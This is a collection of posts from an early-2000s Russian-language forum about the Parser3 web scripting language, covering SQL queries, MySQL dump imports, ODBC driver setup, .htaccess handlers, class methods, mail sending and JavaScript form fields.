"23786","Во-первых ; (точку с запятой) надо \"крышить\" птицей - ^\
Во-вторых скобки у void:sql фигурные\
А в третьих и вправду такое не работает."
"23788","Да, признаю. Написал второпях и все забыл.\
Но вот все-таки, почему не работает? И как заставить работать? Или как выкрутиться?"
"23789","и кто виноват тоже не знаю :)"
"23790","Я придумал как выкрутится. Написать оператор, который подобные запросы разбивает на несколько по разделителю ^; и выполняют их отдельно в цикле. Но, если таких запросов наберется порядка тыщи, будет ли сайт сильно тормозить вместе с mySQL-сервером?\
\
Или можно придумать что-нибудь другое?"
"23791","Просто выполнить подряд несколько ^void:sql{} уже не модно?"
"23792","Тыща запросов это сильно! Видать монстера делаете :)"
"23793","скажем делаем <textarea> куда можно писать много, много запросов не возвращающих ничего, например запросов для создания таблиц БД. Криво конечно, т.к. не универсально, и скажем в эту же форму нельзя писать вещи, возвращающи что-либо, но раз такое мне понадобилось."
"23794","А вот нужно выполнять запросы, которые находятся в отдельном файле и их там много и их надо сразу! Например, дамп базы данных."
"23795","Монстера делаю. А какого же еще. Нужно дамп базы данных заливать, нужно еще кое-чего делать, состоящее из большого количества запросов на создание и вставку. Разве не у кого не было подобных задач? Не верю."
"23796","Не гиблое, для разовых задач, читай админских, пойдёт, но вот если с рабочих страниц, такое будет, - эээ ... ну вообщем в поняли :)\
\
А выполнять пачки запросов из внешних файлов вещь и вправду полезная, жалко парсер такого не могет пока."
"23797","^file::exec[/usr/bin/mysql -uЮЗЕР -pПАРОЛЬ < большой_файл.sql]..."
"23799","Нет, без этой библиотеки работать с MySQL нельзя.\
\
Насчет пути на net.ru я не в курсе. Спросить в службе поддержки или по поиску на этом форуме."
"23800","путь не нужен, т.е. пишите просто:\
[code]\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
}]\
[/code]\
и всё будет работать."
"23803","если документ на том же диске, указывать букву совершенно ни к чему, просто href=\"/...\" и всё будет в порядке.\
\
если на другом диске, должен работать такой uri:\
[code]file://x:/...[/code]"
"23804","надо собирать на вашей машине"
"23805","зайдите ssh/telnet, и сделайте как обычно:\
[code]\
mysql -uUSER -pPASS DATABASE < DUMP.sql\
[/code]\
\
если нет возможности зайти, сделайте то же, но через parser. недавно обсуждалось."
"23806","На хостинге с установленным Парсером надо срочно для одного поддомена ОТКЛЮЧИТЬ обработку html - файлов! Что писать в его httaccess?? Remove Handler и далее все, что было в Add? Простите, что докучаю, но надо СРОЧНО!!!"
"23807","различается принципиально... Не уверен, что возможна красивая конвертация. И вечный вопрос русской интеллигенции «нафига»?"
"23810","на счет красоты, главное вытащить саму информацию, а оформление выдавать в дизайне сайта. Соответственно нужно различать не всё из RTF.\
\
хотя я могу ошибаться. Как решать проблемы подобного рода?"
"23811","при смене адреса заменить динамику на статику. ОЧЕНЬ."
"23813","как с помощью DOM добавить  в xml, узел(в моем случае tree) в который нужно добавить xml сгенеренный парсером(методом ^metod[]), дерево туда генерю.\
\
пробовал по всякому, но то что генерится методом ^metod[], экранируется. \
делаю так:\
[code]\
@main[]\
# путь \
$path[/../path/]\
# объект класса каталог\
$catalog[^catalog::catalog[]]\
# xml код дерева\
$tree_xml[^catalog.print_xml_tree[^catalog.select_all_category[];0]]\
\
# загружаем xml, чтобы потом с помощью DOM туда добавить дерево.\
$submission[^xdoc::load[${path}xf_add_brand_subm.xml]]\
# создаем элемент tree\
$tree[^submission.createElement[tree]]\
# создаем текстовый узел, в котором будет xml код дерева брэндов\
$text_node[^submission.createTextNode[$tree_xml]]\
# добавляем в узел tree xml код дерева брэндов.\
$add[^tree.appendChild[$text_node]]\
# добавляем узел tree к $submission\
$add[^submission.documentElement.appendChild[$tree]]\
$new_xdoc[^xdoc::create{^submission.string[]}]\
$response:body[^new_xdoc.string[]]\
[/code]\
\
выдает :\
[code]\
&lt;category id=&quot;1&quot; parent_id=&quot;0&quot; prev_id=&quot;2&quot; status=&quot;0&quot; add_date=&quot;2003-11-27 17:26:37&quot; last_mod=&quot;2003-11-27 17:26:37&quot;&gt;\
	&lt;name&gt;Самолеты&lt;/name&gt;\
	&lt;discription&gt;самолетная техника&lt;/discription&gt;\
[/code]\
\
или как можно узел из одного xdoc добавить в другой xdoc, у меня не получилось.\
\
прошу помощи"
"23814","1. пути в parser от корня веб-пространства.\
уже писал неоднократно. \
\
2. параметры передаются не так.\
\
3. stdin передаётся не так.\
\
не проверили, не предлагайте."
"23818","Как правило помогает"
"23819","Кто-нить устанавливал parser на хостинге centre.ru."
"23821","Можноли переопределить метод main - на сайте он отвечает за вывод стандартного дизайна, а в админской директории дизайн должен меняться..."
"23823","Решил несколько расширить и упростить javascript пример... который взял где-то с этого форума и столкнулся вот с какой проблемой.\
Как вставить обычный html между элементами формы.\
Иными словами я хочу получить то что в первой строке (не забудьте нажать на кнопку плюс), но не получается:\
http://www.spearance.ru/parser3/javascript/\
Вот сам скрипт:\
http://www.spearance.ru/parser3/javascript/javascript/add_file.js"
"23824","Что означает ошибка и как её исправить:\
[2003-12-02 01:16:03]: error: file has no execute permission: (/home/creapage/public_html/cgi-bin/parser3.cgi)"
"23826","Помогите, пожалуйста!\
Проинсталлен ActivePerl 5.8, когда вывожу в Tk-ом окошке gif-ие картинки, то половина почему-то режется, полностью не показывается. А с ActivePerl 5.6 все получается хорошо.\
Все бы замечательно, но не могу найти ImageMagick скомпиллированный под 5.6.\
Может кто-нибудь поможет найти IM или что-то еще посоветует?"
"23827","А где на этом сайте вы увидели слова \"Perl\" и \"Tk\", позвольте спросить?"
"23828","НУ ИЗВИНИТЕ"
"23829","На этом форуме много специалистов по perl и i.m. - и многие смогли бы вам помочь - достаточно было бы извинений за оффтопик... \
\
А так - вам сюда: http://aspn.activestate.com/ASPN/Mail/Browse/Threaded/ActivePerl"
"23830","то кнопка плюс должна просто перепрыгивать на страницу с расширенной формой... Я не вполне понял задачу, можно \"доформулировать\"?"
"23831","требовалось именно сделать .HTML странички статичными, НЕ переименовывая. Бывает и такое :)"
"23832","регулируемое количество закачиваемых файлов.\
\
Если мне нужно сделать 10, я нажму 10 раз кнопку [+], заполню поля и вперед.\
1-е поле стоит по умолчанию т.к. меньше одного файла не закачать, остальные поля хотелось бы отобразить динамически.\
Как видно из примера, они прекрасно появляются, но... мне бы хотелось чтобы они появлялись оформленными точно так же как и первое поле.\
Стандартный document.write туда не воткнешь... а чем еще можно вклинить кусок html в javascript ума не знаю."
"23833","//кусок вашего кода\
type='file';\
id='file'+nextCount;\
name='file'+nextCount;\
//вот предположение:\
style='bla-bla-bla';\
\
Это чистое предположение, но почему бы не попробовать? \
Сейчас в мануал посмотрю -- самому стало интересно."
"23834","Действительно надо боротся с тем что стандартной формой закачать можно только один файл за раз.\
Я на эту тему думал:\
 - javascript+DOM использовать\
 - придумать какой-нить ActiveX|Applet FTP и через него грузить файлы как через обычный.\
\
в книжке(XML Professional) покопался, нашел такой пример, как мне кажется может пригодится здесь:\
\
сохраняете как html файл пробуете:\
[code]\
<HTML>\
<HEAD>\
   <TITLE>Wrox Press book data entry page</TITLE>\
</HEAD>\
<BODY onload=\"initializeBook()\">\
   <H1>Wrox Press book data entry page</H1>\
   <H3>Book information:</H3>\
   <TABLE>\
      <TR>\
         <TD>Title:</TD><TD><INPUT id=txtTitle></TD>\
      </TR>\
      <TR>\
         <TD>Publisher:</TD><TD><INPUT id=txtPublisher></TD>\
      </TR>\
      <TR>\
         <TD>Published Date:</TD><TD><INPUT id=txtPubDate></TD>\
      </TR>\
      <TR>\
         <TD>Abstract:</TD><TD><INPUT id=txtAbstract></TD>\
      </TR>\
      <TR>\
         <TD>Pages:</TD><TD><INPUT id=txtPages></TD>\
      </TR>\
      <TR>\
         <TD>ISBN:</TD><TD><INPUT id=txtISBN></TD>\
      </TR>\
      <TR>\
         <TD>Price:</TD><TD><INPUT id=txtPrice></TD>\
      </TR>\
   </TABLE>\
   <INPUT id=btnUpdate type=button value=\"Update book info\"\
          onclick=\"updateBookInfo()\">\
\
   <H3>Authors:</H3>\
   <TABLE>\
      <TR>\
         <TD>Author:</TD><TD><INPUT id=txtAuthor></TD>\
      </TR>\
   </TABLE>\
   <INPUT id=btnAddAuthor type=button value=\"Add author\"\
          onclick=\"addAuthor()\">\
   <H3>Categories:</H3>\
   <TABLE>\
      <TR>\
         <TD>Category:</TD><TD><INPUT id=txtCategory></TD>\
      </TR>\
   </TABLE>\
   <INPUT id=btnAddCategory type=button value=\"Add category\"\
          onclick=\"addCategory()\">\
\
   <XML id=docBook>\
      <Book>\
      </Book>\
   </XML>\
\
   <SCRIPT>\
\
   var docBook;\
\
   function initializeBook()\
   {\
      docBook = document.all(\"docBook\").XMLDocument;\
      docBook.async = false;\
      renderElements();\
   }\
\
   function createOrReplaceElement(sElementName, sElementValue, elementParent)\
   {\
      var elementItem;\
      var textValue;\
      var nodelistOldItem;\
\
      elementItem = docBook.createElement(sElementName);\
      textValue = docBook.createTextNode(sElementValue);\
      elementItem.appendChild(textValue);\
\
      nodelistOldItem = elementParent.getElementsByTagName(sElementName);\
      if (nodelistOldItem.length > 0)\
      {\
         elementParent.replaceChild(elementItem, nodelistOldItem.item(0));\
      }\
      else\
      {\
         elementParent.appendChild(elementItem);\
      }\
   }\
\
   function updateBookInfo()\
   {\
      createOrReplaceElement(\"Title\",\
                             txtTitle.value,\
                             docBook.documentElement);\
      createOrReplaceElement(\"Publisher\",\
                             txtPublisher.value,\
                             docBook.documentElement);\
      createOrReplaceElement(\"PubDate\",\
                             txtPubDate.value,\
                             docBook.documentElement);\
      createOrReplaceElement(\"Abstract\",\
                             txtAbstract.value,\
                             docBook.documentElement);\
      createOrReplaceElement(\"Pages\",\
                             txtPages.value,\
                             docBook.documentElement);\
      createOrReplaceElement(\"ISBN\",\
                             txtISBN.value,\
                             docBook.documentElement);\
      createOrReplaceElement(\"Price\",\
                             txtPrice.value,\
                             docBook.documentElement);\
\
      renderElements();\
   }\
\
   function addAuthor()\
   {\
      var elementAuthor;\
      var textAuthor;\
      var nodelistAuthors;\
      var elementAuthors;\
\
      elementAuthor = docBook.createElement(\"Author\");\
      textAuthor = docBook.createTextNode(txtAuthor.value);\
      elementAuthor.appendChild(textAuthor);\
      nodelistAuthors = docBook.getElementsByTagName(\"Authors\");\
      if (nodelistAuthors.length == 0)\
      {\
         elementAuthors = docBook.createElement(\"Authors\");\
         docBook.documentElement.appendChild(elementAuthors);\
      }\
      else\
      {\
         elementAuthors = nodelistAuthors.item(0);\
      }\
      \
      elementAuthors.appendChild(elementAuthor);\
\
      renderElements();\
   }\
\
   function addCategory()\
   {\
      var elementCategory;\
      var textCategory;\
      var nodelistRecSubjCategories;\
      var elementRecSubjCategories;\
\
      elementCategory = docBook.createElement(\"Category\");\
      textCategory = docBook.createTextNode(txtCategory.value);\
      elementCategory.appendChild(textCategory);\
      nodelistRecSubjCategories =\
         docBook.getElementsByTagName(\"RecSubjCategories\");\
      if (nodelistRecSubjCategories.length == 0)\
      {\
         elementRecSubjCategories = docBook.createElement(\"RecSubjCategories\");\
         docBook.documentElement.appendChild(elementRecSubjCategories);\
      }\
      else\
      {\
         elementRecSubjCategories = nodelistRecSubjCategories.item(0);\
      }\
      \
      elementRecSubjCategories.appendChild(elementCategory);\
\
      renderElements();\
   }\
\
   function renderElements()\
   {\
      document.all(\"divRawXML\").innerText = docBook.xml;\
      bookInfo.innerHTML = docBook.transformNode(bookXSL.documentElement);\
      authorTable.innerHTML = docBook.transformNode(authorXSL.documentElement);\
      categoryTable.innerHTML =\
         docBook.transformNode(categoryXSL.documentElement);\
   }\
\
   </SCRIPT>\
\
   <XML id=bookXSL>\
      <DIV xmlns:xsl=\"http://www.w3.org/TR/WD-xsl\">\
         <xsl:choose>\
            <xsl:when test=\"/Book/Title[. $ne$ '']\">\
               <TABLE BORDER=\"0\" CELLPADDING=\"1\">\
                  <TR>\
                     <TD>Title:</TD>\
                     <TD><xsl:value-of select=\"/Book/Title\"/></TD>\
                  </TR>\
                  <TR>\
                     <TD>Publisher:</TD>\
                     <TD><xsl:value-of select=\"/Book/Publisher\"/></TD>\
                  </TR>\
                  <TR>\
                     <TD>Published Date:</TD>\
                     <TD><xsl:value-of select=\"/Book/PubDate\"/></TD>\
                  </TR>\
                  <TR>\
                     <TD>Abstract:</TD>\
                     <TD><xsl:value-of select=\"/Book/Abstract\"/></TD>\
                  </TR>\
                  <TR>\
                     <TD>Pages:</TD>\
                     <TD><xsl:value-of select=\"/Book/Pages\"/></TD>\
                  </TR>\
                  <TR>\
                     <TD>ISBN:</TD>\
                     <TD><xsl:value-of select=\"/Book/ISBN\"/></TD>\
                  </TR>\
                  <TR>\
                     <TD>Price:</TD>\
                     <TD><xsl:value-of select=\"/Book/Price\"/></TD>\
                  </TR>\
               </TABLE>\
            </xsl:when>\
            <xsl:otherwise>\
               Book information not yet specified.\
           </xsl:otherwise>\
         </xsl:choose>\
      </DIV>\
   </XML>\
\
   <XML id=authorXSL>\
      <DIV xmlns:xsl=\"http://www.w3.org/TR/WD-xsl\">\
         <TABLE BORDER=\"0\" CELLSPACING=\"1\">\
            <TR>\
               <TD><STRONG>Authors</STRONG></TD>\
            </TR>\
            <xsl:for-each select=\"/Book/Authors/Author\">\
               <TR>\
                  <TD><xsl:value-of select=\"text()\"/></TD>\
               </TR>\
            </xsl:for-each>\
         </TABLE>\
      </DIV>\
   </XML>\
\
   <XML id=categoryXSL>\
      <DIV xmlns:xsl=\"http://www.w3.org/TR/WD-xsl\">\
         <TABLE BORDER=\"0\" CELLSPACING=\"1\">\
            <TR>\
               <TD><STRONG>Categories</STRONG></TD>\
            </TR>\
            <xsl:for-each select=\"/Book/RecSubjCategories/Category\">\
               <TR>\
                  <TD><xsl:value-of select=\"text()\"/></TD>\
               </TR>\
            </xsl:for-each>\
         </TABLE>\
      </DIV>\
   </XML>\
\
   <HR>\
   <H2>Book information</H2>\
   <P><DIV id=bookInfo></DIV></P>\
   <P><DIV id=authorTable></DIV></P>\
   <P><DIV id=categoryTable></DIV></P>\
   <HR>\
   The text expression of the current contents of the DOM tree is:\
   <PRE><DIV id=divRawXML></DIV></PRE>\
</BODY>\
</HTML>\
[/code]\
\
если потребуется могу коментарии к коду отсканить."
"23835","по какому принципу он сортирует файлы?! Собрал страничку, теперь сижу как баран перед новыми воротами - не по дате модификации, не по имени...  А как? Может, случайно, есть ключик какой недокументированный, чтобы по дате?"
"23836","Это же намного проще! Формировать форму по запросу пользователя..."
"23837","как OS выдаёт, так и выдаёт.\
используйте ^table.sort, чтобы отсортировать, как вам необходимо."
"23838","я создал новую таблицу, в нее переписал все файлы из таблички, которую выдает list, и в дополнительный столбец - дату модификации. Потом по дате отсортировал. Можно проще?"
"23840","как вариант можно и парсером это делать.\
только вот если например 10 файлов надо грузить, то в любом случае это будет медленее работать чем если у клиента.\
\
по логике ведь это чисто клиентская забота и работа — тогда ето будет удобно. Все таки  я думаю лучше всего придумать ActiveX | JAVA Applet, который будет работать как FTP.\
\
Но и на javascript может получится неплохо.\
\
А выход из зоны offtopica мне видится в автоматизации приема парсером неограниченного количества файлов."
"23841","Поэтому и ищу более гибкий способ.\
Нашел интересный материал http://msdn.microsoft.com/workshop/author/tables/buildtables.asp по моему вопросу, сижу разбираюсь."
"23842","[code]\
^file:list[...]{код, выдающий ключ сортировки?}\
[/code]\
а имена столбцов зафиксировать, взять, как ^file:stat выдаёт?"
"23843","исходные коды смотрите по ссылкам из первого треда. Работает во всех современных браузерах поддерживающих innerHTML. Всем спасибо."
"23845","Код в index.html: \
[code]\
@USE\
/classes/someclass.p\
\
@main[]\
^use[/classes/newclass.p]\
[/code]\
Приводит к ошибке.\
Как подключить с помощью ^use[] какой-либо класс и воспользоваться его методом? Нужно, чтобы index.html отдал результат. \
Пожалуйста, помогите."
"23846","2. не видно, где вы пытаетесь пользоваться методом."
"23847","D:/Apache/htdocs/classes/menu.p' read failed: No such file or directory (2) ..."
"23848","даже если не пытаться. \
тот код который я привел дает ошибку"
"23849","Код: \
[code]\
@main[]\
^use[/classes/someclass.p]\
[/code]\
так же приводит к ошибке. Строчки \"menu.p\" в файле someclass.p нигде нету."
"23850","посмотрите на это\
http://www.parser.ru/forum/?id=11648\
\
не знаю, проще это чем создавать отдельную таблицу или нет..."
"23851","Подскажите пожалуйста:\
Все тот же пятый урок,\
не открывается гостевая книга –\
ошибка, а в parser3.log появляется\
запись:\
[b]/gbook/: z:/home/test1.ru/www/auto.p(75:11):[/b]\
[b]'gbook' class is undefined [parser.runtime][/b]\
Получается, что не хватает записи в auto.p, \
но не как не соображу что именно нужно добавить,\
по уроку я все сделал; в auto.p на (75:11):\
[b]^b[/b]ody_main[]\
\
а в /gbook/index.html :\
\
@USE\
/classes/gbook.p\
\
@body_main[]\
Гостевая книга тестового сайта<br>\
\
$gb[^gbook::load[]]\
^gb.show_messages[]\
^gb.show_form[]\
^gb.test_and_post_message[]\
\
# и конечно же не забываем про остальные части\
@greeting[]\
Оставьте свой след: \
\
@body_additional[]\
Нам пишут…"
"23852","проверяем пробелы около:\
\
@USE,\
/classes/gbook.p\
@CLASS\
gbook\
\
их быть недолжно !"
"23853","Как то раз напоролся на этот сайт. Скачал, посмотрел, попробовал, понравилось. Это все я делал на воем компе с Apache-ем. И вот захотелось это все куда-то выложить, но отстегивать платным хостингам пока не собираюсь. Возможно позже и отстегну. Короче...\
\
Для установки paresr-а мне нужен только доступ к файлу .htaccess, к папке cgi-bin и знать операционку машины где это все будет. Где я не прав? И что надо делать?"
"23854","Вообщем вы правы,\
Как минимум :\
Веб-пространство с включенной обработкой .htaccess,\
Папка для запуска cgi-скриптов (cgi-bin)\
Знать версию оси у хостера.\
\
Пока, если не ошибаюсь нету ни одного бесплатного хостинга, который бы предоставлял БД и работал бы более-менее качественно.\
Да и вряд ли это скоро измениться."
"23856","Пролистал форум все что касается доступа через ODBC, не нашел ничего(#может плохо искал(!))...помогите разобратся кто-нибудь?\
Мои шаги:\
установил MSSQLserver, базу под названием telko и в ней рабучую таблицу mp3, создал пермишин для юзера onlineuser, затем в ODBC в system DSN создал доступ к своей базе и обозвал как www.....\
далее корневjq файл auto.p впиндюрил \
@auto[]\
connect_string[odbc://DSN=www^;UID=onlineuser^;PWD=12345]\
с формы пытался закинуть данные в таблицу, а не тут то было...выдает сообщение об ошибке:\
D:\\Parser\\Parser3/auto.p(2): 'odbc://DSN=www;UID=onlineuser;PWD=12345' \
$SQL:drivers table must be defined  type: parser.runtime\
\
библиотеку скачал parser3odbc.dll\
, скинул в папочку lib, те же вафли..."
"23858","Я незнаю. Всё что я знаю это:\
www.something.com/index.html -> path/html/index.html\
www.sub.something.com/index.html -> path/sub/index.html\
Parser -> path/cgi-bin/parser3/parser.cgi"
"23859","Ну тогда буду отстегивать деньги..."
"23860","или это проект?"
"23862","Все это красиво, пока юзер пользует \"тот самый\" браузер... Иногда еще и \"тот самый\" компьютер (порой сложный клиентский скрипт тормозит сильнее, чем диалап+серверная программа) А если все на сервере упаковано - нет проблем вООбще. \
Мне уже надоело отлаживать скриптовые навороты -- проверять все на 10 браузерах, а потом у пльзователя окажется 48 мегов памяти, и что? Перешел на Парсер."
"23863","но все же просто вывести десять полей сразу и пусть пользователь заполняет из них столько, сколько захочет -- проще и совместимей. Ваш код не работает в Netscape 4.7 (родной браузер под 9 МакОс, например)"
"23865","если я правильно понял, необходимо определить метод @conf[filespec] в файле auto.p? и что означает параметр filespec?"
"23866","если я правильно понял, необходимо определить метод @conf[filespec] в файле auto.p? и что означает параметр filespec?"
"23867","…идет в поставке?\
\
и посмотреть в [url=\"/docs/lang/parserconfmethod.htm\"]документации[/url] про метод @conf[]"
"23868","Вы знаете, пробовал...он у меня было пустой... :)\
В auto.p файл я прописал следущее:\
@conf[]\
$SQL[$.drivers[^table::set{protocol driver client\
odbc D:\\parser\\parser3\\lib\\parser3odbc.dll}]\
]\
\
@auto[]\
$connect_string[odbc://DSN=www^;UID=onlineuser^;PWD=12345]\
....\
а в хтмл-ки пытаюсь соединится с SQL-базой\
и отправить в таблицу данные с формы:\
....\
^connect[$connect_string]{\
^void:sql{insert into mp3 \
	(file_name, file_size)\
values\
	('$form:f_name', '$form:f_size')\
Парсер выдает сообщение об ошибки:\
'odbc://DSN=www;UID=onlineuser;PWD=12345' undefined protocol 'odbc'  type: parser.runtime\
\
...он снова не определят протокол, в чем жеж дело?"
"23869","в MacOS 9 родным был и остается MSIE. Netscape уже очень давно с MacOSами не поставляется."
"23870","…помогает…\
\
@conf[] допустим не в любой файле...\
\
и вы ни разу не сообщили, про какой-же именно auto.p вы говорите...\
\
что говорит на вашу установку _test.html?"
"23871","ибо последний мак с предустановленым Нетскейпом покупал в августе. А Експлорер маковский для конечного пользователя неудобен, поэтому из моих знакомых, кто еще не перешел на десятку, его никто не пользует, очень тормознооой.\
Стаариннный ээстоонский брааузеер :)"
"23872","я имею в виду файл auto.p находящийся в каталоге, где установлин парсер....а _test.html я не использовал..."
"23873","вдруг понял -- неважно, что там в МакОС, ШмакОС... Совместимость должна быть с максимумом браузеров, вот и весь сказ."
"23874","ushost.ru = 3 уя месяц за 100 мб +MySQL&bla-bla-bla, парсер ставится \"по книжке\". RedHat Linux."
"23875","_test.html говорит следующее:\
Неверная структура таблицы $SQL.drivers \
\
$SQL.connect-string: не определена\
$CLASS_PATH: не определен"
"23876","в котором происходит акая ошибка. У меня на хостинге все устроено так же, но / все же означает корень ТЕКУЩЕГО домена (к которому обратился пользователь).\
\
Вариант причины - ваши субдомены не существуют актуально а редиректятся, тогда проблему можно решить только указанием пути от корня основного домена. Но вопрос сисадмину все же надо задать."
"23877","Вы и под текст-онли браузеры оптимизируете?\
Пора забыть про нетскейп, глядишь и проблем станет меньше."
"23878","Хотя, если читать только anekdot.ru, даже несткейп потянет, а вот про что-то более серьезное - сплошное мучение для пользователя. Эксплорер на порядок качественней в этом плане даже при всех его глюках.\
Да и что же это за машины такие, что эксплорер под девяткой тормозит? G3 beige в стандартной поставке что ли? Али совсем 9600?"
"23879","-скачайте конфигурационный файл.\
-НЕ правите его\
-положите рядом с парсером\
\
именно это и просила вас сделать инструкция"
"23880","во зараза, заработала...оказывается, когда прописывал ODBC\
(odbc	D:\\parser\\parser3\\lib\\parser3odbc.dll)в методе @conf[], \
я заменил символы табуляции пробелами.\
спасибо за рекомендацию воспользоватся вашей _test.html, там так было и сказано:)"
"23881","Как мне перекрытть метод класса. примерный код:\
\
class.p\
=============\
@CLASS\
class\
@create[]\
$field(0)\
\
index.html\
=============\
@USE\
/class.p\
\
$myclass[^class::create[]]\
\
$myclass\
\
--------------------------\
по идее должно выйти 0 (не проверял)\
мне надо перекрыть метод create и присвоить полю field\
значение 1:\
$field(0)\
Вопрос как это сделать?\
Зарание спасибо!"
"23882","для MySQL, могу вывесить если надо. Скролер очень похож на скролер наэтом сайте.\
\
Отличия от уже вывешенных скролингов.\
1) Оформлен в виде класса\
2) Меньшие размеры 110 строк вместе с коментариями.\
3) Адаптирован под LIMIT мускуля\
4) Точный посчёт количества записей\
\
Пока что не адаптирован под ЧПУ - мне пока что ненадо\
Внесение пременных типа thread для форума пока несделано  - мне пока что ненадо\
\
Для включения скролинка надо\
\
1) Подключить класс\
2) в MySQL запросе вставить [code] ... LIMIT ^scroler:limit[;10] ... [/code] где 10 количество одновременно показывамых записей\
3) В месте, где вы хотите вставить скролер написать [code] ^scroler:scroler[\
название таблицы или таблиц из MySQL запроса куда вставлен ^scroler:limit;\
Условие на отбор значений из MySQL запроса куда вставлен ^scroler:limit;\
Место куда передавать запрос например /forum/]\
] [/code]"
"23884","Вы имеете ввиду переопределить метод?\
Тогда надо создать дочерний класс, базовым для которого будет этот класс:\
[code]\
@CLASS\
sub_class\
\
@USE\
/class.p\
\
@BASE\
class\
\
@redefined_method_name[]\
...\
[/code]\
\
Далее.\
Вот это:\
[code]\
@USE\
/class.p\
\
$myclass[^class::create[]]\
\
$myclass\
[/code]\
не правильно. Вы создаете переменную $myclass, в которой хранится объект (экземпляр) класса class, после чего хотите вывести его значение в результирующую страницу. Вывести можно текст или число, но не объект какого-то класса.\
Что бы вывести значение переменной $field объекта $myclass:\
[code]\
@USE\
/class.p\
\
$myclass[^class::create[]]\
\
$myclass.field\
[/code]"
"23885","с нетерпеньем ждемсссс"
"23886","в методе @table_save[]\
\
т.е. когда в таблице (в колонке) есть пустое поле, то <tab> не ставится и строка съезжает на один <tab> влево...\
\
========================\
пока что у себя строку\
[code]\
$tmp[^col.menu{$col.column}[^#09]^#0A^table.menu{^col.menu{^table.[$col.column].replace[$ws_pack_replace]}[^#09]}[^#0A]]\
[/code]\
заменил на\
[code]\
$tmp[^col.menu{$col.column}[^#09]^#0A^table.menu{^col.menu{^table.[$col.column].replace[$ws_pack_replace]^#09}}[^#0A]]\
[/code]\
========================\
P.S. не очень изящно, но работает"
"23888","есть пользователь, которого совершенно не нужно насиловать, вот и все... Меньше нервов тратится. А прогресс... а ну его в баню. Иллюзия все это."
"23889","только вот не будете же вы бегать за всеми посетителями вашего проекта с криками \"Иксплорер форева\"? \
\
Лично мне представляется неразумным такой подход. Сайт делается для пользователя, а не наоборот.\
\
Почему-то Яху оптимизировн под любую кофеварку. Кстати, в вашем предыдущем посте -- в ИДЕАЛЕ надо и под текстовые браузеры. Программа минимум - чтобы сайт нормально шел без клиентских скриптов, плугинов и с отключенными картинками."
"23890","403 Forbidden\
The requested URL '/cgi-bin/parser3.exe/index.html' - file type forbidden \
\
Подскажите, где исправить.\
Спасибо."
"23891","Укажите правильный путь до parser3.exe в .htaccess\
\
Если для Денвера то путь такой :\
AddHandler parsed-html pxml \
Action parsed-html /cgi-glob/parser/parser3_wrapper.exe\
\
"
"23892","Можно ли средствами Parser-а добиться такого:\
   Кто-нибудь шлет письмо с информацией. На сервере эта информация обрабатывается и высылается обратно или на другое мыло, обработанная.\
\
Вот у меня допустим лежит файл письма, каким образом надо заставить Parser обработать этот файл?"
"23893","Пытаюсь запустить под FreeBSD, вроде делаю всё, как надо...\
Ругается:\
\
Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
Листинг error log:\
[Wed Dec  3 17:28:15 2003] [error] [client 195.161.131.88] Premature end of script headers: /pub/home/slovopri/cgi-bin/parser3.cgi\
\
Подскажите пожалуйста где исправить."
"23894","http://www.parser.ru/forum/?terms=Premature+end+of+script+headers&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\
\
А также :\
\
http://www.parser.ru/faq/"
"23895","У меня не хочет письмо отсылаться в формате HTML. Я указал:\
\
^mail:send[\
$.from[Авиарынок \"АВИА МТС\" <aviamts@yandex.ru>]\
$.to[Grantee <$subscr_table.email>]\
$.subject[$form:title]\
$.html{$form:text}\
]\
\
В форму помещаю текст:\
<center><font size=+2 face=arial color=red><b>Тест работы HTML в рассылках!</b> \
\
И в итоге он в таком же виде и приходит! Тэги \"не работают\". Не вижу причин ошибки... Help."
"23897","Как бы ни был хорош Netscape 4, он уже история.\
В своем скрипте я ориентировался на достаточно свежие браузеры, при том что проверил работоспособность на 2-х платформах Linux и Windows. В 4 разных браузерах.\
Сам использую Opera 7.2 и очень доволен. То что IE \"рулез\" - сомневаюсь, у него даже атрибута position: fixed в CSS нет.\
Спорить о единичных пользователях глупо. 80% используют IE старше 5 версии... а пользователей Netscape 4 меньше 1%.\
\
Про совместимость: почемуто звукозаписывающие фирмы не выпускают новые альбомы на бабинных катушках, хотя у многих Россиян они еще есть... даже производство кассет по сравнению с компакт-дисками резко сократилось. Ибо нужно быть современным человеком, идущим в ногу со временем. Аминь."
"23898","Класс int\
метод sql\
пример ^int:sql{select count (*) from news} \
Надо count(*) (без пробела)"
"23900","ЕСТЬ ЩАСТЬЕ В ЭТОЙ ЖИЗНИ!!!\
Сапасиба!! Как внешний вид сайта доведу до кондиции, обязательно повешу Парсеровский Копирайт))) и ссылку дам в галлерею))"
"23903","[code]\
^mail:send[ \
$.from[your@mail.ru]\
$.x-mailer[Parser 3.1.1]\
$.to[first@mail.ru, second@mail.ru, etc...]\
\
# а можно адреса засунуть в bcc :\
#\
#$.bcc[first@mail.ru, second@mail.ru, etc...]\
#\
\
$.subject[спам]\
$.text[рассылка]\
]\
[/code]"
"23904","вообще этот метод использовался мной очень редко и в самый простых случаях.\
\
жду парсерного метода, тогда все будет хорошо и быстро :)"
"23905","кроме последней фразы (перед аминем 8))"
"23907","по поводу парсерных ссылок:\
http://ivanbobov.ru/poem.html?poem=127.xml"
"23908","Некий товарищ подхватил выпавшее из рук предыдущего разработчика знамя и переписал subj. с нуля, обозвав поделку третьей версией. Брать тут - http://www.mysqlfront.de/modules.php?name=Downloads\
\
Впечатления смешанные. Багов пока полно."
"23909","что впечатления СМЕШНЫЕ. Редко ТАКУЮ косость встретишь. Версии 2.х были намного приятнее и удобнее."
"23911","http://www.spearance.ru/parser3/statistic/\
\
код не оптимальный, но рабочий"
"23913","В том здании сидели \"Куда.Ru\", РОЛ, \"КалитаГрад\", ресторанчик, какое-то подразделение МВД и кто-то еще..."
"23914","Хочу поставить на сайт поисковик. Вариантов куча, запутался уже. Может, посоветуете какой, чтобы не было проблем с русским языком (бесплатный)? И вообще, кто что юзает на эту тему?\
\
(имеется в виду не форма поиска по своему сайту от Яндекса/Рамблера/Апорта а цгишник (например), полностью кустомизабельный, который можно поставить на сайт)"
"23915","Для того чтобы использовать этот статический метод достаточно нарисовать картинку размером 1 пиксель в ширину и n-пикселей в высоту. Все остальное оформляем через CSS.\
\
